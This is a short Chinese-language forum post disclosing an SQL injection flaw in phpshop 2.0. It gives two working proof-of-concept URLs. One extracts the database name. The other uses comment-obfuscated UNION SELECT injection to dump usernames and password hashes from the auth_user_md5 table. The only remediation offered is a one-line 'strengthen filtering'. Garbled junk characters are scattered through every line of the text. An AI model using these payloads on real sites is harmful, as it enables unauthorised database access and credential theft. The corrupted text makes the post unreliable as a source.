标题 : phpshop 2.0 SQL Injection Vulnerability; R% y( S: l, ]3 V# j e& V/ r/ a9 E
! e: q; L$ {+ O+ a
作者 : By onestree
' a% |5 [ E0 q7 V- q下载地址 : http://code.google.com/p/phpshop/downloads/list+ c5 O9 h3 N/ k( V. b- l8 v& J
测试地址: windows 7 / ubuntu( P7 D; j; ^ z2 t. |
9 G0 T: d0 D% x# O9 m1 Y3 G
x/ F* g$ K( m& |% j" ?SQLi p0c:& B5 @4 e$ q. P$ {' B l
3 |- @9 U; L) P! p4 n==================
1 f8 C9 r! q& ^- A
4 s/ r' i u+ ?% E" v0 k! mhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
! S: N& ^/ j: Q$ C. q7 Q9 Sunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --% P9 j# {: w7 B: ?0 y4 p. S
8 c3 r- f2 d) f- P. U
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--/ } g- a0 L7 l4 E
( s A1 j" ^. R4 W8 S" m
修复：5 n+ H9 q# G- N# c
加强过滤) B9 Y* C2 o/ W5 t. k
5 X" n) @& a6 Y0 A2 z0 {
' m F$ f% ]1 k1 v9 J# p5 O, i |
发表于 2013-1-18 18:24:10
收藏
支持
反对